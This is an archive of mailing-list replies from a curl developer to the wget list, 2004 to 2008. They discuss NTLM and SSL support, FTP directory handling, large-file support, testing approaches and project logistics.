Re: Wget and Yahoo login?
On Mon, 8 Sep 2008, Donald Allen wrote: The page I get is what would be obtained if an un-logged-in user went to the specified url. Opening that same url in Firefox *does* correctly indicate that it is logged in as me and reflects my customizations. First, LiveHTTPHeaders is the Firefox plugin everyone who tries these stunts need. Then you read the capure and replay them as closely as possible using your tool. As you will find out, sites like this use all sorts of funny tricks to figure out you and to make it hard to automate what you're trying to do. They tend to use javascripts for redirects and for fiddling with cookies just to make sure you have a javascript and cookie enabled browser. So you need to work hard(er) when trying this with non-browsers. It's certainly still possible, even without using the browser to get the first cookie file. But it may take some effort. -- / daniel.haxx.se
Re: Connection management and pipelined Wget
On Thu, 7 Aug 2008, Micah Cowan wrote: niwt (which I like best so far: Nifty Integrated Web Tools). But the grand question is: how would that be pronounced? Like newt? :-) -- / daniel.haxx.se
Re: About Automated Unit Test for Wget
On Sat, 5 Apr 2008, Micah Cowan wrote: Or did you mean to write wget version of socket interface? i.e. to write our version of socket, connect,write,read,close,bind, listen,accept,,,? sorry I'm confused. Yes! That's what I meant. (Except, we don't need listen, accept; and we only need bind to support --bind-address. We're a client, not a server. ;) ) Except, you do need listen, accept and bind in a server sense since even if wget is a client I believe it still supports the PORT command for ftp...
Re: About Automated Unit Test for Wget
On Sat, 5 Apr 2008, Hrvoje Niksic wrote: This would mean we'd need to separate uses of read() and write() on normal files (which should continue to use the real calls, until we replace them with the file I/O abstractions), from uses of read(), write(), etc on sockets, which would be using our emulated versions. Unless you're willing to spend a lot of time in careful design of these abstractions, I think this is a mistake. Related: In the curl project we took a simpler route: we have our own dumb test servers in the test suite to run tests against and we have single files that describe each test case: what the server should respond, what the protocol dump should look like, what output to expect, what return code, etc. Then we have a script that reads the test case description, fires up the correct server(s), verifies all the ouputs (optionally using valgrind). This system allows us to write unit-tests if we'd like to, but mostly so far we've focused to test it system-wide. It is hard enough for us!
Re: wget2
On Thu, 29 Nov 2007, Alan Thomas wrote: Sorry for the misunderstanding. Honestly, Java would be a great language for what wget does. Perhaps, but not for where wget is used: on numerous platforms as a stand-alone downloadable tool, including on embedded and small-CPU devices. Environments where java doesn't excel. Lots of built-in support for web stuff. That's simply not true. It has some _basic_ support for some web protocols etc, but that's far from enough for a tool such as wget.
Re: Wget Name Suggestions
On Thu, 29 Nov 2007, Josh Williams wrote: I really like the name `fetch` because it does what it says it does. It's more UNIX-like than the other names :-) While I agree that a unix-like name is preferable, I just want to point out that 'fetch' is already used by a http/ftp transfer tool that's bundled with FreeBSD, so that would be a really bad choice...
Re: More portability stuff [Re: gettext configuration]
On Fri, 26 Oct 2007, Micah Cowan wrote: I very much doubt it does, since we check for it in the curl configure script, and I can see the output from it running on Tru64 clearly state: checking for sigsetjmp... yes Note that curl provides the additional check for a macro version in the configure script, rather than in the source; we should probably do it that way as well. I'm not sure how that helps for this, though: if the above test is failing, then either it's a function (no macro) and configure isn't picking it up; or else it's not defined in setjmp.h. Yes right, I had forgot about that! But in the Tru64 case the extra macro check isn't necessary. I don't remember exactly what system that needs it, but I believe it was some older linux or bsd.
Re: Thoughts on Wget 1.x, 2.0 (*LONG!*)
On Fri, 26 Oct 2007, Micah Cowan wrote: The obvious solution to that is to use c-ares, which does exactly that: handle DNS queries asynchronously. Actually, I didn't know this until just now, but c-ares was split off from ares to meet the needs of the curl developers. :) We needed an asynch name resolver for libcurl so c-ares started out that way, but perhaps mostly because the original author didn't care much for our improvements and bug fixes. ADNS is a known alternative, but we couldn't use that due to license restrictions. You (wget) don't have that same problem with it. I'm not able to compare them though, as I never used ADNS... Of course, if we're doing asynchronous net I/O stuff, rather than reinvent the wheel and try to maintain portability for new stuff, we're better off using a prepackaged deal, if one exists. Luckily, one does; a friend of mine (William Ahern) wrote a package called libevnet that handles all of that; When I made libcurl grok a vast number of simultaneous connections, I went straight with libevent for my test and example code. It's solid and fairly easy to use... Perhaps libevnet makes it even easier, I don't know. Plus, there is the following thought. While I've talked about not reinventing the wheel, using existing packages to save us the trouble of having to maintain portable async code, higher-level buffered-IO and network comm code, etc, I've been neglecting one more package choice. There is, after all, already a Free Software package that goes beyond handling asynchronous network operations, to specifically handle asynchronous _web_ operations; I'm speaking, of course, of libcurl. I guess I'm not the man to ask nor comment this a lot, but look what I found: http://www.mail-archive.com/wget@sunsite.dk/msg01129.html I've always thought and I still believe that wget's power and most appreciated abilities are in the features it adds on top of the transfer, like HTML parsing, ftp list parsing and the other things you mentioned. Of course, going one single unified transfer library is perhaps not the best thing from a software eco-system perspective, as competition tends to drive innovation and development, but the more users of a free software/open source project we get the better it will become.
Re: More portability stuff [Re: gettext configuration]
On Sat, 27 Oct 2007, Hrvoje Niksic wrote: Do you say that Tru64 lacks both sigsetjmp and siggetmask? Are you sure about that? That is the only system we are currently talking about. I find it hard to believe that Tru64 lacks both of those functions; for example, see http://h30097.www3.hp.com/docs/base_doc/DOCUMENTATION/V51_HTML/MAN/MAN3/0707.HTM It is quite possible that the Autoconf test for sigsetjmp yields a false negative. I very much doubt it does, since we check for it in the curl configure script, and I can see the output from it running on Tru64 clearly state: checking for sigsetjmp... yes (available here for another ten days or so: http://curl.haxx.se/auto/log.cgi?id=20071026080956-25212)
Re: wget 1.10.2 doesn't compile on NetBSD/i386 3.1
On Wed, 10 Oct 2007, Micah Cowan wrote: It appears from your description that Wget's check in http-ntlm.c: #if OPENSSL_VERSION_NUMBER 0x00907001L is wrong. Your copy of openssl seems to be issuing a number lower than that, and yet has the newer, capitalized names. I don't think that check is wrong. We have the exact same check in libcurl (no suprise) and it has worked fine since I wrote it, and I've tested it myself on numerous different openssl versions. I would rather suspect that the problem is related to multiple openssl installations or similar.
scan.coverity.com
Hey Just to let you know, it seems that coverity.com scans/scanned wget as part of their scan project, and I belive a wget person could get a signin and get to see the details from that: http://scan.coverity.com/rung0.html We got curl added as well and coverity did find a range of rather non-trivial and non-obvious flaws in the code that we could fix. (I have no relation to these guys other than that I'm enjoying being part of a(nother) project that they scan for us.)
ohloh
Hi guys, ohloh.net keeps track of FLOSS authors and projects and do some interesting stats and numbers. Wget is listed too: http://www.ohloh.net/projects/7947?p=Wget (No I'm not involved with the site in any way but as a happy visitor and registered user.)
Re: FTP OS-dependence, and new FTP RFC
On Fri, 3 Aug 2007, Micah Cowan wrote: I have a question: why do we attempt to generate absolute paths and such and CWD to those, instead of just doing the portable string-of-CWDs to get where we need to be? Just a word of caution here: while RFC1738 tells this is the way to do it, there are servers and times where this approach doesn't work. (lib)curl has an option to specify the CWD style (multiple cwd, single cwd or no cwd) due to this... Technically, we can violate the RFCs (specifically, RFC 1738, which defines the ftp URL scheme in terms of a string of CWDs from the starting directory), if the FTP server starts us out in a directory other than / The particular login directory doesn't affect the CWD approach at all, since the URL gives the path relative to the login directory...
Re: FTP OS-dependence, and new FTP RFC
On Sat, 4 Aug 2007, Micah Cowan wrote: Just a word of caution here: while RFC1738 tells this is the way to do it, there are servers and times where this approach doesn't work. (lib)curl has an option to specify the CWD style (multiple cwd, single cwd or no cwd) due to this... Could you be more specific about how it fails to work on some systems? I understand (from comments in wget) that OS/400 doesn't support hierarchies: but then no legitimate OS/400 FTP URL would include more than one dir component in its path. Sorry, but the exact details have escaped so I can't provide them right now. I'm sure someone will remind us later on if you change wget to multi-CWD ;-) I remember one situation has been that the server doesn't allow you to CWD into the dir, but allows you to CWD into the dir's subdir! So that CWD dir1 fails, but CWD dir1/dir2 works Given that probably most other user-agents follow the RFC in this regard Why do think that? I remember back when we made curl do this (April 2003), a guy named David Balazic posted an RFC1738 compliance summary where he tested a range of FTP clients and as I recall it very few of them used the multi-CWD way. Of course time has since passed so the situation may have changed, but I believe many still use the single CWD or even no CWD approach. Unfortunately that summary URL is now a 404... I'm having a little problem seeing how an FTP server that can't handle this could survive, particularly since, from the beginning of time, it's been the only way to reliably specify the directory path one wants. Reliably for multiple servers, no. But reliable for a specific server that you're using, sure. Technically, we can violate the RFCs (specifically, RFC 1738, which defines the ftp URL scheme in terms of a string of CWDs from the starting directory), if the FTP server starts us out in a directory other than / The particular login directory doesn't affect the CWD approach at all, since the URL gives the path relative to the login directory... Do you mean that wget tacks the path onto the value it gets from PWD, then? No I don't, I don't know how wget creates the dir it sends with CWD. In the quote above you wrote that we can violate ... *if* the FTP server starts us out in a directory other than / (my emphasis), and I just mentioned that you can do the exact same work no matter what the login directory is.
Re: ignoring robots.txt
On Wed, 18 Jul 2007, Micah Cowan wrote: The manpage doesn't need to give as detailed explanations as the info manual (though, as it's auto-generated from the info manual, this could be hard to avoid); but it should fully describe essential features. I know GNU projects for some reason go with info, but I'm not in fan of that. Personally I always just use man pages and only revert to using info pages when forced. I simply don't like it when projects hide information in info pages.
Re: post-file does not work with post-data
On Fri, 29 Jun 2007, Micah Cowan wrote: For submitting actual files as form content, multipart/form-data is a much more natural mechanism. [...] Obviously, while this is something wget does not currently do, it is something wget ought to do. I'll look into how we might implement this in a future version. Allow me to mention that (lib)curl supports this and this could serve as inspiration for a future wget implementation.
Re: Basic auth by default
On Thu, 28 Jun 2007, Hrvoje Niksic wrote: It's easy to bring back the code itself, but it's not easy to integrate it with how Wget communicates with proxies, at least not without reworking a large chunk of HTTP code. That is why I started with support for simple client NTLM and postponed proxies for later. Right, thanks for setting that straight.
RE: Basic auth by default
On Wed, 27 Jun 2007, Barnett, Rodney wrote: I agree. I discovered this when trying to use wget with an HTTP proxy that uses NTLM. (Is that on the list somewhere?) I'm pretty sure the original NTLM code I contributed to wget _had_ the ability to deal with proxies (as I wrote the support for both host and proxy at the same time). It should be fairly easy to bring back.
Re: New wget maintainer
On Tue, 26 Jun 2007, Micah Cowan wrote: The GNU Project has appointed me as the new maintainer for wget Welcome! Speaking of licensing changes, I don't see a specific exemption clause for linking wget with OpenSSL See the end of the README.
Re: Can Nagios/Lynx/wget/curl/links do NTLM authentication?
On Fri, 8 Jun 2007, Kelly Jones wrote: I want to use Nagios to monitor a site (running on Windows/IIS) that uses NTLM for authentication. Is there a plugin/script/library/etc that can help? Reason I'm cc'ing the lynx/wget/curl/links lists: if lynx/wget/curl/links can do NTLM, I can easily write a nagios wrapper. Both curl and wget can, curl is slightly better at it though. I can't speak for the others since I don't know. -- Commercial curl and libcurl Technical Support: http://haxx.se/curl.html
Re: NTLM for proxy authentication
On Tue, 20 Feb 2007, Barnett, Rodney wrote: Is anyone working on NTLM proxy authentication for wget? If not, are there any major obstacles? NTLM support has been in wget for several years by now.
RE: NTLM for proxy authentication
On Tue, 20 Feb 2007, Barnett, Rodney wrote: I'm referring to *proxy authentication*. I'm no expert on wget, but... According to the documentation: For proxy authorization only the Basic authentication scheme is currently implemented. Oh, sorry my bad. I submitted the NTLM code and it was written to support proxies as well (and do so just fine in curl). It seems it was never put to use for proxies in wget.
Re: Parallel downloads provide significant speedup
On Sat, 30 Sep 2006, Anthony L. Bryan wrote: Multithreaded downloads can increase speed quite a bit. I don't think anyone has argued about that downloading from several servers at once will be faster in many occasions (like when each server gives you less bandwidth for the transfer than what you have as download link bandwidth). I think what is debatable is wheather to download the same file off the same server using several connects. I believe the HTTP spec says that a nice HTTP client connect no more than twice to the same server. And twice is then only due to (the effects of) pipelining on the first connection and the second would be for getting out of band data.
Re: wget breaks round-robin dns?
On Sun, 23 Jul 2006, Hrvoje Niksic wrote: If it works without IPv6, then it means that getaddrinfo on your machine sorts the results, whereas gethostbyname doesn't. This effect has been seen (and reported) before on getaddrinfo vs gethostbyname and I've tried to get the glibc guys interested enough to answer why this is but have failed so far. I can easily repeat this (bad) behaviour using a stand-alone test program using a very recent glibc, so this is in no way wget's fault. If anyone would like to try the tests or dive further into this, my test program can be found here: http://curl.haxx.se/mail/lib-2005-11/0008.html -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([s\x]\)\([\xoi]\)xo un\2\1 is xg'`ol
Re: wget BUG: ftp file retrieval
On Fri, 25 Nov 2005, Steven M. Schweda wrote: Or, better yet, _DO_ forget to prepend the trouble-causing $CWD to those paths. I agree. What good would prepending do? It will most definately add problems such as those Steven describes. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: brief report on NTLM buffer overflow
On Fri, 14 Oct 2005, Noèl Köthe wrote: The last paragraph says something like: Notable is the fast time of reaction of the Open Source developer: two days ago the problem was reported, yesterday corrected packages were produced and details of the vulnerability were published. Just want to give you very possitive feedback and say thanks.:) I mailed Hrvoje the patch roughly 50 minutes after the notification (and he forwarded it to Mauro). Wget 1.10.2 was relased less than 14 hours after the first mail brought our attention to this problem. Both Hrvoje and Mauro acted swiftly and promptly. Nice going guys! (The plan was originally to coordinate the security fix release with vendors and between the curl and wget projects, but due to mistakes did the notification accidentally become public immediately and we had to work really fast to reduce the impact.) -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: wget Mailing List question
On Fri, 26 Aug 2005, Jonathan wrote: Would it be possible (and is anyone else interested) to have the subject line of messages posted to this list prefixed with '[wget]'? Please don't. Subject real estate is precious and limited already is it is. I find subject prefixes highly distdurbing. There is already plenty of info in the headers of each single mail to allow them to get filtered accurately without this being needed. For example: X-Mailing-List: wget@sunsite.dk -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Issue tracker
On Tue, 23 Aug 2005, Hrvoje Niksic wrote: Would someone be willing to host an issue tracker for Wget? Doesn't http://savannah.gnu.org/ or similar provide such services that are sufficiently good? -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Controlling OpenSSL's use of read() and write()
On Wed, 25 May 2005, Hrvoje Niksic wrote: In SSL it is not enough to select() before SSL_read because SSL_read can and does call read multiple times, which breaks the intended timeout semantics. Is there a way to prevent this? I figure one way is to use non-blocking sockets, isn't it? -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: SSL option documentation
On Thu, 12 May 2005, Hrvoje Niksic wrote: (On my Debian installation the certificates come with the ca-certificates package and are apparently assembled from different sources, the most significant being Mozilla. On SuSE 9.2 the CA certificates come with the openssl package.) There are no license restrictions that prevent you from using/bundling/include the Mozilla one (if you want to). I have a little service up and running for those who wants the latest Mozilla ca cert bundle in PEM format: http://curl.haxx.se/docs/caextract.html The Debian wget packager will of coure be encouraged to make wget use the already installed cacert file. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: SSL code audit
On Tue, 10 May 2005, Hrvoje Niksic wrote: curl contains much more elaborate code in ssluse.c:verifyhost(). Although I'm not sure Wget requires an exact replica of curl's logic, *some* check seems necessary for, especially since we claim to verify the server's certificate by default. It does require a replica, exact or not. If you verify a server certificate, you must make sure the commonName field matches the host name you communicate with (inluding wildcards). Then add the subjectAltName fields to the mix and you get a fair amount of code to write. I believe RFC2818 details this. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: CONNECT and the Host header
On Thu, 28 Apr 2005, Hrvoje Niksic wrote: The original CONNECT proposal by Luotonen didn't mention `Host' at all. curl doesn't send it curl has sent CONNECT for many years without it, and nobody has ever reported a problem with it. That doesn't however mean it shouldn't be there to adhere to the protocol strictly of course. I have a pending patch that adds it, but I haven't yet decided if it is worth adding or not... -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: SSL option documentation
On Sun, 24 Apr 2005, Hrvoje Niksic wrote: Since you seem to be knowledgable about SSL implementation(s), what do you think about GNU TLS? Is its development active? How hard would it be to use it in Wget? I'm not Doug, but since I just recently made libcurl capable of using GnuTLS (as an option instead of OpenSSL) I think can fill in some info: GnuTLS is alive and it is working. It is even documented somewhat better than OpenSSL (which isn't saying a lot, I know). Converting an OpenSSL-using program into using GnuTLS instead isn't very hard. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: cygwin wget ssl
On Wed, 20 Apr 2005, Hrvoje Niksic wrote: It seems this site is sending something that the OpenSSL library cannot handle. For example, both Wget and curl on Linux display the same error: $ curl https://www.danier.com curl: (35) error:1408F455:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac Maybe this should be reported to the OpenSSL maintainers? If you force it to do SSLv2 it works fine. At times, old and bad SSL implementations make it hard for OpenSSL to autodetect version. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: cygwin wget ssl
On Thu, 21 Apr 2005, Konrad Chan wrote: After browsing the openssl newsgroup per Hrvoje's suggestion, I came to a similar conclusion as well (cipher problem). However, I couldn't find instructions on how to change the cipher for wget, I tried all the different ciphers using curl but no luck, since openssl ciphers only had SSLv3. Let me repeat myself: If you force it to do SSLv2 it works fine. wget --sslprotocol=1 -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: NTLM authentication in CVS
On Thu, 7 Apr 2005, Hrvoje Niksic wrote: If someone has access to an NTLM-authorizing web server, please try it out with Wget and let us know how it goes. It should be noted that for NTLM, you can specify the domain name in the user name field as: domain\user or domain/user -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: NTLM test server
On Mon, 4 Apr 2005, Hrvoje Niksic wrote: Is there a test server where one can try out NTLM authentication? I'm working on adapting Daniel's code to Wget, and having a test server would be of great help. Just for your info: I had friends providing the test servers for both host and proxy authentication when I've worked on NTLM code. Once the basics worked, I could add test cases to the curl test suite. Nowadays I can test NTLM on my own with the curl test server. I'm afraid it is too specific for curl to be useful for wget. Also, since the day I provided that code, I've leared a few additional things: o I had a buffer security problem in the NTLM code, but related to base64 decode function and that is bound to be different when you adapt the code to wget conditions anwyay. o There was also another less alarming buffer problem with a memset() of 8 bytes instead of 5. You may have of course already have found and fixed this. o POSTing with NTLM auth is a pain, since NTLM is for connections and thus you cannot close the connection without breaking the auth so thus you are (more likely than with other multi-pass auth methods) forced to send the full request body multiple times. And probably a little more that I've forgotten to mention now. ;-) -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: string_t breaks compatibility?
On Sat, 19 Feb 2005, Hrvoje Niksic wrote: I noticed the addition of a `string_t.c' file that uses wchar_t and wide string literals without any protection. This will break compilation of Wget under older compilers. I believe this has already been discussed and Mauro said he's working on fixing that. i will fix it ASAP (Jan 12 2005) -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: post-file with PHP back end?
On Tue, 15 Feb 2005, Patrick H. Madden wrote: Hi -- I'm trying to get post-file working with wget (1.9.1), talking to Apache 2.0.48, using PHP 4.3.4. This is all running on an x86 Linux machine with Mandrake 10. If I do an http post of a file through an HTML form (fill in the blanks with a browser, hit submit), the PHP script catches all the data and files, and everything is cool. When I use wget, however, the file does not seem to make it there; I'm sure I'm doing something incorrectly--the man page is a bit vague on post-file. The command I think should work with wget is % wget -O foo.html --post-file data.txt --post-data varname=worksfine http://localhost/test.php Is the PHP script possibly assuming that the post data is sent using formpost multipart encoding? Can you show us what the HTML form tag looks like that you use for a browser to do this? -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: post-file with PHP back end?
On Tue, 15 Feb 2005, Patrick H. Madden wrote: Here's a subset of the HTML that works with the PHP back end. The actual HTML page is at http://vlsicad.cs.binghamton.edu/placebench. This is for uploading circuit layout information, and benchmarking. form method=post enctype=multipart/form-data action=autopost.php This form expects the user-agent to provide the POST data MIME-encoded as RFC1867 describes. AFAIK, wget does not provide that feature. If you want to use wget for this, you need to produce a RFC1867-formatted file first and then post that (you'd also need to provide a custom header that specifies the boundary separator string). Another option is to use a tool that already has support for what you're asking. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
large files
Hi I suggest: That you apply and commit the currently best patch for large files. That is probably the one Leonid works/worked on. Isn't that the one Redhat has applied? I suggest that off_t isn't used to store/keep large file sizes, but instead a privately typedefed type instead. Named wget_off_t for example. On linux and most unix-like systems, we can 'typedef off_t wget_off_t' and most things will be fine. A strtoll() replacement is needed for some platforms. I believe this works fine for VMS too. I could check later. On systems like Windows, large file support takes some more work, and then the wget_off_t is probably best made 'typedef signed __int64 wget_off_t' with MSVC (but all libc-calls using wget_off_t will need attention/replacements since the windows libc APIs aren't supporting large files). On Windows with mingw or watcom, the typedef is better made 'typedef long long wget_off_t'. On Windows CE, I believe it works best as 'typedef long wget_off_t'. On systems without large file support, off_t is most often still present and simply just a 32 bit type. Thus, a file-size-as-string-to-number function (basicly strtol() or strtoll() depending on the platform) is suitable, to convert a string to wget_off_t. Now, this is only a suggestion meant to kick-start some discussions and possibly implementations. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: wget does not handle sizes over 2GB
On Wed, 12 Jan 2005, Wincent Colaiuta wrote: Daniel really needs to do one of two things: Thanks for telling me what to do. Your listing wasn't 100% accurate though. Am I not allowed to discuss technical solutions for wget if that involves a term from a different Free Software project I am involved in? I guess not. As you can see, in the other four mentionings of your list, I did mention the other tool to HELP the users who were asking for features wget doesn't provide. When people ask for stuff on other mailing lists and I know wget can do them fine, I usually recommend wget to them. I guess that is stupid too. Perhaps I'll learn all this when I grow older. This is my last mail here on this topic. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: wget does not handle sizes over 2GB
On Tue, 11 Jan 2005, Leonid wrote: curl does not survive losing connection. Since the probability to lose connection when you download 2Gb+ files is very high even if you have a fast connection, This mailing list is for wget, not curl. We can talk about what curl does and does not on the curl mailing list. It _does_ support request retrying and it does support download resuming - it is however not a wget clone. Besides, curl already supports large file transfers portably. Wget does not. In general, TCP connections _are not_ likely to disconnect no matter how much data you transfer, it is only likely to happen if you have shaky network setup. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: wget does not handle sizes over 2GB
On Tue, 11 Jan 2005, Mauro Tortonesi wrote: oh, come on. let's not fall to the my software is better than yours childish attitude. I'm sorry if it came out that way, it was not my intention. I just wanted to address the misinformation posted here. I have not said and do not think that X is better than Y, just different. And I have contributed to this project serveral times and I might very well continue to do so. I am not just an author of another tool. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: wget does not handle sizes over 2GB
On Sun, 9 Jan 2005, Denis Doroshenko wrote: *size = strtol (respline + 4, NULL, 0); where size is defined as long int * in the function's declaration. BTW. why's the base given to strtol is 0, not 10? isn't that too flexible for a defined protocol? Yes it is, SIZE returns a base-10 number. The limitation seems to be hardwired throughout the source code, so it is not that simple to me There is at least one (platform specific) patch floating around that introduces large file support to wget on Linux. Until the situation is changed, I can recommend using curl for this kind of transfers. It supports large files on all platforms that do. Having done lots of the adjustments in the curl code, I have to admit that the work (the transition to portable large file support) wasn't _that_ hard once we actually started working on it. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
RE: wGET - NTLM Support
On Mon, 3 Jan 2005, Mudliar, Anand wrote: I would appreciate if you please let me know as soon as the code is posted on the site. It would be great help if you can point me to some site/link where the old version is posted. Let me just point out loud and clear that my files were not complete patches that introduced NTLM support to wget. They were files ripped out from the curl source tree that I re-licensed and handed to the wget project to allow someone with insights to adjust it to be usable. I'm not the person to say how much time or effort this requires, or even if anyone wants to do it. The old version is not available anymore so posting the old URL is not gonna help anyone. If you want to get a grasp of what the code looks like in its original shape, check the lib/http_ntlm.[ch] files in curl's source repository. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
RE: wGET - NTLM Support
On Fri, 31 Dec 2004, Herold Heiko wrote: Daniel, could you resend that code to the current co-maintainer Mauro Tortonesi [EMAIL PROTECTED] ? Maybe sooner or later he finds some time for this. The files I prepared are no longer around (I put them up on a site in november 2003 and I fixed the FSF assignment stuff before 2003 ended). I'll try to get time off to fix a new version of the files in the beginning of next year. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Problems communicating with digest authorization
On Tue, 14 Dec 2004, Steve Glymph wrote: (I know very little about wget, I'm just bringing my observations.) I was expecting to see the Basic authorization used initially (as seen below) but that a 401 error would be returned instead of a 403. Possibly that happens because you provide authentication that isn't accepted. I find it rather amusing that wget tries to auto-detect Digest while providing Basic, since that means that first it'll send the password in plain text only to let the server ask for a method in which the password doesn't have to get sent in plain text... So, basicly there's no way to avoid showing the password for evesdroppers even if Digest would work! I have tried to run curl to the same node and it does perform the negotiation correctly. Maybe it is about time I bring up my old suggestion of moving wget over to use libcurl for transfers... :-) -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Bugreport: wget and ssl via proxy
On Thu, 2 Dec 2004, Jim Wright wrote: export http_proxy=http://user:[EMAIL PROTECTED]:3128 export https_proxy=http://user:[EMAIL PROTECTED]:3128 Should both environment variables be identical? How does the proxy know that you are using ssl in the second case? The proxy shouldn't care about it. wget should use CONNECT when doing HTTPS over a proxy and it does GET when doing HTTP. IIRC, this problem is fixed in the CVS version. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: wget support for ftp/SSL
On Wed, 1 Dec 2004 [EMAIL PROTECTED] wrote: Is there a way to use SSL authentication with ftp in wget? AFAIK, wget doesn't support it. But curl does: curl.haxx.se -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Windows and 2 GB downloads
On Thu, 18 Nov 2004, Leonid wrote: This was tested for Unixes. I am not sure that it will run for M$-Windows, but if not, the changes are supposed to be small. Then, please post a windows-patch. I'm not a Windows person, but since I made the large file support for curl I can tell you that 'off_t' is 32 bit on Windows systems and thus this does not enable large file support for those. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Help needed ...
On Mon, 1 Nov 2004, Phani Kumar Anumolu wrote: Can some body send me a sample code with which I can download a single file from the URL given. I am writing in C and tried to understand Wget..which looked very complicated. Consider using libcurl: http://curl.haxx.se/libcurl/ ... or a competitor: http://curl.haxx.se/libcurl/competitors.html -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: [PATCH] support for Content-Encoding in wget
On Mon, 25 Oct 2004, Karsten Scheibler wrote: The attached patch adds the option --accept-encoding-gzip to wget. If you enable this option the line: `Accent-Encoding: gzip' is added to the Header wget sends to the server. If the server responds with `Content-Encoding: gzip' the received data will be decompressed with gzip -d -c -. Since wget is often built and used on systems without fork(), I believe you won't see it applied in this shape (assuming patches are applied at all, that is). libz is the way to go, and then you could easily make it support both deflate and gzip. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: File size limit
On Fri, 10 Sep 2004, r3al1tych3ck wrote: Try using ncftpget. It will resume your download that wget aborted as well. Not necessarily. Many FTP servers that handle 4GB file sizes fine don't properly deal with REST 4GB (I don't know why, but it has shown up several times). Allow me to mention that curl groks large files too. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: 2 giga file size limit ?
